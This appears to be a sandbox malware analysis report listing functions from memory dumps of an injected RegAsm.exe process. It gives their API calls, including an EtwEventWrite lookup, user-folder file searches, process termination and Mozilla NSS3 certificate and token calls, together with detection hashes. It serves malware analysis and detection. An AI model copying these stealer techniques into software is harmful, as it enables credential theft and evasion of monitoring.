Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: Heap$AllocProcesswsprintf
String ID: %hs
API String ID: 659108358-2783943728
Opcode ID: bcf2a833d62f9084df2818784a80778564d57039dfdbfedd00e0745c19e7e1c8
Instruction ID: d8e673918eb2144bcef719609f58f41fb0b6897d0319fbb1526f8e993730841e
Opcode Fuzzy Hash: bcf2a833d62f9084df2818784a80778564d57039dfdbfedd00e0745c19e7e1c8
Instruction Fuzzy Hash: B4D0A73134031477C61017D4BC0DF9A3F2CDB057A2F001130FA0DD5150C96548144BED

Function 004013F6 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 15COMMON

Download Yara Rule

APIs

CreateDCA.GDI32(DISPLAY,00000000,00000000,00000000), ref: 00401402
GetDeviceCaps.GDI32(00000000,0000000A), ref: 0040140D
ReleaseDC.USER32(00000000,00000000), ref: 00401416

Strings

DISPLAY, xrefs: 004013FD

Memory Dump Source

Source File: 00000003.00000002.2974075662.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2974075662.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.0000000000467000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.000000000046B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.000000000055A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.000000000055D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.0000000000563000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.0000000000582000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.00000000005A1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.000000000063A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: CapsCreateDeviceRelease
String ID: DISPLAY
API String ID: 1843228801-865373369
Opcode ID: bb407900c42747b6974d1836f8af7949c360a931ddf5ea46551365e590da193a
Instruction ID: b82d0d685c9c4ed7257a31b462c0517db8d4f6830dcc7ae0d69c4127066b061f
Opcode Fuzzy Hash: bb407900c42747b6974d1836f8af7949c360a931ddf5ea46551365e590da193a
Instruction Fuzzy Hash: A4D012353C030477E1781B54BC5FF1A2934D7C9F02F201124F311680D046A41402973E

Function 004018B5 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 9libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleA.KERNEL32(ntdll.dll), ref: 004018BA
GetProcAddress.KERNEL32(00000000,EtwEventWrite), ref: 004018CB

Strings

ntdll.dll, xrefs: 004018B5
EtwEventWrite, xrefs: 004018C5

Memory Dump Source

Source File: 00000003.00000002.2974075662.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2974075662.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.0000000000467000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.000000000046B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.000000000055A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.000000000055D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.0000000000563000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.0000000000582000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.00000000005A1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.000000000063A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: AddressHandleModuleProc
String ID: EtwEventWrite$ntdll.dll
API String ID: 1646373207-1851843765
Opcode ID: ce5ac687bc190155b9328e3ef5a87ceff27681ea425ebccb3c79e855d6a5205e
Instruction ID: e7813acad89d48f512d0792ea1639ecc4d5b69adc90d86605e894d3591a32228
Opcode Fuzzy Hash: ce5ac687bc190155b9328e3ef5a87ceff27681ea425ebccb3c79e855d6a5205e
Instruction Fuzzy Hash: 6CB092707802019BCE142B716D9DF06B66A7A64B067A061A2A68AD01A0D7BCA128961E

Function 6C274FF0 Relevance: 6.1, APIs: 4, Instructions: 123COMMON

Download Yara Rule

APIs

_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(00000000,00000000,?,?,00000001,?,6C1585D2,00000000,?,?), ref: 6C274FFD
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6C27500C
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6C2750C8
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6C2750D6

Memory Dump Source

Source File: 00000003.00000002.3344629955.000000006C131000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C130000, based on PE: true

Associated: 00000003.00000002.3343533373.000000006C130000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3354458138.000000006C2CF000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3356578029.000000006C30E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3357896540.000000006C30F000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3359639902.000000006C310000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3361326397.000000006C315000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c130000_RegAsm.jbxd

Similarity

API ID: _byteswap_ulong
String ID:
API String ID: 4101233201-0
Opcode ID: c1842a32e4e7e127450c3a2af53b9f41a547574912252666c9cd46b28f398346
Instruction ID: 9ba9781447f1709eca63512baa3f9523417b70143f778a8e5530cdac23856510
Opcode Fuzzy Hash: c1842a32e4e7e127450c3a2af53b9f41a547574912252666c9cd46b28f398346
Instruction Fuzzy Hash: 97415CB2A406158BCB18CF18DCD179AB7E1BF4831871D466DD84ACBB02E779E891CB91

Function 6C200420 Relevance: 6.1, APIs: 4, Instructions: 117memoryCOMMON

Download Yara Rule

APIs

PORT_Alloc_Util.NSS3(00000000,?,6C1EC97F,?,?,?), ref: 6C2004BF
TlsGetValue.KERNEL32(00000000,?,6C1EC97F,?,?,?), ref: 6C2004F4
EnterCriticalSection.KERNEL32(?,?,?,6C1EC97F,?,?,?), ref: 6C20050D
PR_Unlock.NSS3(?,?,?,?,6C1EC97F,?,?,?), ref: 6C200556

Memory Dump Source

Source File: 00000003.00000002.3344629955.000000006C131000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C130000, based on PE: true

Associated: 00000003.00000002.3343533373.000000006C130000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3354458138.000000006C2CF000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3356578029.000000006C30E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3357896540.000000006C30F000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3359639902.000000006C310000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3361326397.000000006C315000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c130000_RegAsm.jbxd

Similarity

API ID: Alloc_CriticalEnterSectionUnlockUtilValue
String ID:
API String ID: 349578545-0
Opcode ID: 7b6034b8101c79eecc0bd8c785e0d58e4f4f7f25dc13780be963975f31f058cd
Instruction ID: a07eea505c0051246015a49dd541d36568793c663626caeb3b109b3fe53235f8
Opcode Fuzzy Hash: 7b6034b8101c79eecc0bd8c785e0d58e4f4f7f25dc13780be963975f31f058cd
Instruction Fuzzy Hash: 39416CB4A0564A8FEB04DF29C480669BBF4FF44319F14856EEC999BB41E730E991CF80

Function 6C1B6C50 Relevance: 6.1, APIs: 4, Instructions: 102memoryCOMMON

Download Yara Rule

APIs

PORT_ArenaAlloc_Util.NSS3(?,00000001), ref: 6C1B6C8D
memset.VCRUNTIME140(00000000,00000000,00000001), ref: 6C1B6CA9
PORT_ArenaAlloc_Util.NSS3(?,0000000C), ref: 6C1B6CC0
SEC_ASN1EncodeItem_Util.NSS3(?,00000000,?,6C2D8FE0), ref: 6C1B6CFE

Memory Dump Source

Source File: 00000003.00000002.3344629955.000000006C131000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C130000, based on PE: true

Associated: 00000003.00000002.3343533373.000000006C130000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3354458138.000000006C2CF000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3356578029.000000006C30E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3357896540.000000006C30F000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3359639902.000000006C310000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3361326397.000000006C315000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c130000_RegAsm.jbxd

Similarity

API ID: Util$Alloc_Arena$EncodeItem_memset
String ID:
API String ID: 2370200771-0
Opcode ID: 3beb5ddf007af8162880510fd7ea450901cae14a6d63084ae24e15ab1691bea1
Instruction ID: 3a7b591d744aec46aecee65dfc387afd8111bc24ff094ecb8ecc3ac716349676
Opcode Fuzzy Hash: 3beb5ddf007af8162880510fd7ea450901cae14a6d63084ae24e15ab1691bea1
Instruction Fuzzy Hash: 853190B1A0021A9FEB08CF65C891ABFBBF5EF65248F14453DD945E7700EB35A905CBA0

Function 6C2C4F00 Relevance: 6.1, APIs: 4, Instructions: 101fileCOMMON

Download Yara Rule

APIs

CreateFileA.KERNEL32(?,40000000,00000003,00000000,?,?,00000000), ref: 6C2C4F5D
free.MOZGLUE(?), ref: 6C2C4F74
free.MOZGLUE(?), ref: 6C2C4F82
GetLastError.KERNEL32 ref: 6C2C4F90

Memory Dump Source

Source File: 00000003.00000002.3344629955.000000006C131000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C130000, based on PE: true

Associated: 00000003.00000002.3343533373.000000006C130000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3354458138.000000006C2CF000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3356578029.000000006C30E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3357896540.000000006C30F000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3359639902.000000006C310000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3361326397.000000006C315000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c130000_RegAsm.jbxd

Similarity

API ID: free$CreateErrorFileLast
String ID:
API String ID: 17951984-0
Opcode ID: 98a4f544c7e18064b42e1ae5fc43b5a0cbb6e3fa461e29e38139e9a9f7cf68f6
Instruction ID: 781195e8ea3e6cda198d0ab9d04572f6a137be26c374da1679d680c05911be14
Opcode Fuzzy Hash: 98a4f544c7e18064b42e1ae5fc43b5a0cbb6e3fa461e29e38139e9a9f7cf68f6
Instruction Fuzzy Hash: 5E3107B6B0020E4BEB01DA69DC85BEFB3B8EF45359F040329EC15A7681DB34D90586A2

Function 0041BF90 Relevance: 6.1, APIs: 4, Instructions: 98timeCOMMON

Download Yara Rule

APIs

SetFilePointer.KERNEL32(00000000,00000000,00000000,00000001,759183C0,00000000,?,?,?,?,?,?,0041C559,?,00416EF0,?), ref: 0041BFE3
SetFilePointer.KERNEL32(?,00000000,00000000,00000000,?,?,?,?,?,?,?,?,?,0041C559,?,00416EF0), ref: 0041C013
GetLocalTime.KERNEL32(?,?,?,?,?,?,?,0041C559,?,00416EF0,?), ref: 0041C03F
SystemTimeToFileTime.KERNEL32(?,?,?,?,?,?,?,?,0041C559,?,00416EF0,?), ref: 0041C04D

Part of subcall function 0041B95B: GetFileInformationByHandle.KERNEL32(?,?,00000000,?,009F2548), ref: 0041B98F

Memory Dump Source

Source File: 00000003.00000002.2974075662.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2974075662.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.0000000000467000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.000000000046B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.000000000055A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.000000000055D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.0000000000563000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.0000000000582000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.00000000005A1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.000000000063A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: File$Time$Pointer$HandleInformationLocalSystem
String ID:
API String ID: 3986731826-0
Opcode ID: 7ff6333c14d8671d1925a56ca4dfeb8ed51f6aeaf213d41c1c97aa9cc17fe228
Instruction ID: e63b327b824be0ecb82d878d7b1bcb9963d00df78d2d29c152de9eb5281ca8e4
Opcode Fuzzy Hash: 7ff6333c14d8671d1925a56ca4dfeb8ed51f6aeaf213d41c1c97aa9cc17fe228
Instruction Fuzzy Hash: 20414971900209DFCF15DFA9C880ADEBFF8FF48314F14426AE854EA266D3759985CBA4

Function 0041BD4A Relevance: 6.1, APIs: 4, Instructions: 91fileCOMMON

Download Yara Rule

APIs

malloc.MSVCRT ref: 0041BD8F
_memmove.LIBCMT ref: 0041BDA3
_memmove.LIBCMT ref: 0041BDF0
WriteFile.KERNEL32(00000000,?,66F3FB75,?,00000000,009F2548,?,00000001,009F2548,?,0041AE35,?,00000001,009F2548,66F3FB75,?), ref: 0041BE0F

Memory Dump Source

Source File: 00000003.00000002.2974075662.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2974075662.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.0000000000467000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.000000000046B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.000000000055A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.000000000055D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.0000000000563000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.0000000000582000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.00000000005A1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.000000000063A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: _memmove$FileWritemalloc
String ID:
API String ID: 803809635-0
Opcode ID: 96fd741e2e00e7d82f8ddb22d2f379bea126d20f2cbdb156d9df00f45ff8c8ef
Instruction ID: 2d6cf9f969dccd2e4edae43e7773cd1050ed1537496c7d2dff7c645a237358a0
Opcode Fuzzy Hash: 96fd741e2e00e7d82f8ddb22d2f379bea126d20f2cbdb156d9df00f45ff8c8ef
Instruction Fuzzy Hash: D2317E71604704AFD725DF55E980BA7B7F9FB44300F40892EE58687A40DB74F9448B94

Function 004122B0 Relevance: 6.1, APIs: 4, Instructions: 88COMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 004122D7

Part of subcall function 00411D61: GetProcessHeap.KERNEL32(00000000,000000FA,?,?,00412301,?), ref: 00411D6C
Part of subcall function 00411D61: HeapAlloc.KERNEL32(00000000), ref: 00411D73
Part of subcall function 00411D61: wsprintfW.USER32 ref: 00411D84

OpenProcess.KERNEL32(00001001,00000000,?,00000000,?), ref: 0041237D
TerminateProcess.KERNEL32(00000000,00000000), ref: 0041238B
CloseHandle.KERNEL32(00000000), ref: 00412392

Memory Dump Source

Source File: 00000003.00000002.2974075662.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2974075662.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.0000000000467000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.000000000046B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.000000000055A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.000000000055D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.0000000000563000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.0000000000582000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.00000000005A1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.000000000063A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: Process$Heap$AllocCloseHandleOpenTerminate_memsetwsprintf
String ID:
API String ID: 2224742867-0
Opcode ID: d4b34a4c21a26e2c9d95cf8b4d56e29be9b6c66082d3dd5852bc78d80c8abc1d
Instruction ID: 4a01f7960c27f9432e4db4d9540a1d92aa8a552bab995fe1a1fb8e271f6651b8
Opcode Fuzzy Hash: d4b34a4c21a26e2c9d95cf8b4d56e29be9b6c66082d3dd5852bc78d80c8abc1d
Instruction Fuzzy Hash: 83314D72A0121CAFDF20DF61DD849EEB7BDEB0A345F0400AAF909E2550D6399F848F56

Function 6C1F4FB0 Relevance: 6.1, APIs: 4, Instructions: 75COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(?,00000000,00000000,00000000,?,6C1FB60F,00000000), ref: 6C1F5003
EnterCriticalSection.KERNEL32(?,?,00000000,00000000,00000000,?,6C1FB60F,00000000), ref: 6C1F501C
PR_Unlock.NSS3(?,?,?,00000000,00000000,00000000,?,6C1FB60F,00000000), ref: 6C1F504B
free.MOZGLUE(?,00000000,00000000,00000000,?,6C1FB60F,00000000), ref: 6C1F5064

Memory Dump Source

Source File: 00000003.00000002.3344629955.000000006C131000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C130000, based on PE: true

Associated: 00000003.00000002.3343533373.000000006C130000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3354458138.000000006C2CF000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3356578029.000000006C30E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3357896540.000000006C30F000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3359639902.000000006C310000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3361326397.000000006C315000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c130000_RegAsm.jbxd

Similarity

API ID: CriticalEnterSectionUnlockValuefree
String ID:
API String ID: 1112172411-0
Opcode ID: f6bff9a6a41ae4e28bdd580b49f67499b6f1c31d17d9bb4015be374ffb6b9f61
Instruction ID: 9adc5e788b1b476fe9018498a4c6cf5d8184386bcf5c9e084cce532f3d43861a
Opcode Fuzzy Hash: f6bff9a6a41ae4e28bdd580b49f67499b6f1c31d17d9bb4015be374ffb6b9f61
Instruction Fuzzy Hash: C13125B5A05A068FDB00EF68D48466AFBF4FF08304F118569D8A997700E730E991CBA2

Function 00416628 Relevance: 6.1, APIs: 4, Instructions: 73stringCOMMON

Download Yara Rule

APIs

Part of subcall function 00411DBC: SHGetFolderPathA.SHELL32(00000000,?,00000000,00000000,?,?,?), ref: 00411DFD

lstrcatA.KERNEL32(?,00000000), ref: 00416670
lstrcatA.KERNEL32(?,00436B44), ref: 0041668D
lstrcatA.KERNEL32(?), ref: 004166A0
lstrcatA.KERNEL32(?,00436B48), ref: 004166B2

Part of subcall function 00415F9A: wsprintfA.USER32 ref: 00415FE1
Part of subcall function 00415F9A: FindFirstFileA.KERNEL32(?,?), ref: 00415FF8
Part of subcall function 00415F9A: StrCmpCA.SHLWAPI(?,00436AAC), ref: 00416019
Part of subcall function 00415F9A: StrCmpCA.SHLWAPI(?,00436AB0), ref: 00416033
Part of subcall function 00415F9A: wsprintfA.USER32 ref: 0041605A
Part of subcall function 00415F9A: StrCmpCA.SHLWAPI(?,00436647), ref: 0041606E
Part of subcall function 00415F9A: wsprintfA.USER32 ref: 0041608B
Part of subcall function 00415F9A: PathMatchSpecA.SHLWAPI(?,?), ref: 004160B8
Part of subcall function 00415F9A: lstrcatA.KERNEL32(?), ref: 004160EE
Part of subcall function 00415F9A: lstrcatA.KERNEL32(?,00436AC8), ref: 00416100
Part of subcall function 00415F9A: lstrcatA.KERNEL32(?,?), ref: 00416113
Part of subcall function 00415F9A: lstrcatA.KERNEL32(?,00436ACC), ref: 00416125
Part of subcall function 00415F9A: lstrcatA.KERNEL32(?,?), ref: 00416139

Part of subcall function 00415F9A: wsprintfA.USER32 ref: 004160A2
Part of subcall function 00415F9A: FindNextFileA.KERNEL32(?,?), ref: 004162C8
Part of subcall function 00415F9A: FindClose.KERNEL32(?), ref: 004162DC

Memory Dump Source

Source File: 00000003.00000002.2974075662.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2974075662.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.0000000000467000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.000000000046B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.000000000055A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.000000000055D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.0000000000563000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.0000000000582000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.00000000005A1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.000000000063A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: lstrcat$wsprintf$Find$FilePath$CloseFirstFolderMatchNextSpec
String ID:
API String ID: 153043497-0
Opcode ID: c7f2e1beb5677780b504b6f133f7fbbf7e58c9e8dbc9ff06979ddcc89c31692d
Instruction ID: 86cb5c24b1af1b3eba907fdcde866d32d900d0ebc5c1e85709c3aad948acd9ca
Opcode Fuzzy Hash: c7f2e1beb5677780b504b6f133f7fbbf7e58c9e8dbc9ff06979ddcc89c31692d
Instruction Fuzzy Hash: 6F21C73190021DAFCF54DF60DC46ADDB779EB04305F1040A6B589E3190EEB99BC58F44

Function 6C222DF0 Relevance: 6.1, APIs: 4, Instructions: 72memoryCOMMON

Download Yara Rule

APIs

PORT_ArenaMark_Util.NSS3(?), ref: 6C222E08

Part of subcall function 6C2114C0: TlsGetValue.KERNEL32 ref: 6C2114E0
Part of subcall function 6C2114C0: EnterCriticalSection.KERNEL32 ref: 6C2114F5
Part of subcall function 6C2114C0: PR_Unlock.NSS3 ref: 6C21150D

PORT_NewArena_Util.NSS3(00000400), ref: 6C222E1C
PORT_ArenaAlloc_Util.NSS3(00000000,00000064), ref: 6C222E3B
PORT_FreeArena_Util.NSS3(00000000,00000000), ref: 6C222E95

Part of subcall function 6C211200: TlsGetValue.KERNEL32(00000000,00000000,00000000,?,6C1B88A4,00000000,00000000), ref: 6C211228
Part of subcall function 6C211200: EnterCriticalSection.KERNEL32(B8AC9BDF), ref: 6C211238
Part of subcall function 6C211200: PL_ClearArenaPool.NSS3(00000000,00000000,00000000,00000000,00000000,?,6C1B88A4,00000000,00000000), ref: 6C21124B
Part of subcall function 6C211200: PR_CallOnce.NSS3(6C312AA4,6C2112D0,00000000,00000000,00000000,?,6C1B88A4,00000000,00000000), ref: 6C21125D
Part of subcall function 6C211200: PL_FreeArenaPool.NSS3(00000000,00000000,00000000), ref: 6C21126F
Part of subcall function 6C211200: free.MOZGLUE(00000000,?,00000000,00000000), ref: 6C211280
Part of subcall function 6C211200: PR_Unlock.NSS3(00000000,?,?,00000000,00000000), ref: 6C21128E
Part of subcall function 6C211200: DeleteCriticalSection.KERNEL32(0000001C,?,?,?,00000000,00000000), ref: 6C21129A
Part of subcall function 6C211200: free.MOZGLUE(00000000,?,?,?,00000000,00000000), ref: 6C2112A1

Memory Dump Source

Source File: 00000003.00000002.3344629955.000000006C131000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C130000, based on PE: true

Associated: 00000003.00000002.3343533373.000000006C130000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3354458138.000000006C2CF000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3356578029.000000006C30E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3357896540.000000006C30F000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3359639902.000000006C310000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3361326397.000000006C315000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c130000_RegAsm.jbxd

Similarity

API ID: ArenaUtil$CriticalSection$Arena_EnterFreePoolUnlockValuefree$Alloc_CallClearDeleteMark_Once
String ID:
API String ID: 1441289343-0
Opcode ID: f90256335fee6aeeaa24d2f6bee3f354c0acb0369ebf8db753efb3bf32d612af
Instruction ID: dcc75412747379929b09319436eff6306513142ca9858506d14ae56beba43e1f
Opcode Fuzzy Hash: f90256335fee6aeeaa24d2f6bee3f354c0acb0369ebf8db753efb3bf32d612af
Instruction Fuzzy Hash: 6D2129B1D243494BE700CF149D44BAA37A46FA131DF110269ED085B752F7B6F598C291

Function 6C1DACB0 Relevance: 6.1, APIs: 4, Instructions: 66COMMON

Download Yara Rule

APIs

CERT_NewCertList.NSS3 ref: 6C1DACC2

Part of subcall function 6C1B2F00: PORT_NewArena_Util.NSS3(00000800), ref: 6C1B2F0A
Part of subcall function 6C1B2F00: PORT_ArenaAlloc_Util.NSS3(00000000,0000000C), ref: 6C1B2F1D

Part of subcall function 6C1B2AE0: PORT_Strdup_Util.NSS3(?,?,?,?,?,6C1B0A1B,00000000), ref: 6C1B2AF0
Part of subcall function 6C1B2AE0: tolower.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C1B2B11

CERT_DestroyCertList.NSS3(00000000), ref: 6C1DAD5E

Part of subcall function 6C1F57D0: PK11_GetAllTokens.NSS3(000000FF,00000000,00000000,6C1BB41E,00000000,00000000,?,00000000,?,6C1BB41E,00000000,00000000,00000001,?), ref: 6C1F57E0
Part of subcall function 6C1F57D0: free.MOZGLUE(00000000,00000000,00000000,00000001,?), ref: 6C1F5843

CERT_DestroyCertList.NSS3(?), ref: 6C1DAD36

Part of subcall function 6C1B2F50: CERT_DestroyCertificate.NSS3(?), ref: 6C1B2F65
Part of subcall function 6C1B2F50: PORT_FreeArena_Util.NSS3(?,00000000), ref: 6C1B2F83

free.MOZGLUE(?), ref: 6C1DAD4F

Memory Dump Source

Source File: 00000003.00000002.3344629955.000000006C131000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C130000, based on PE: true

Associated: 00000003.00000002.3343533373.000000006C130000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3354458138.000000006C2CF000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3356578029.000000006C30E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3357896540.000000006C30F000.00000008.00000001.01000000.00000008.sdmpDownload File
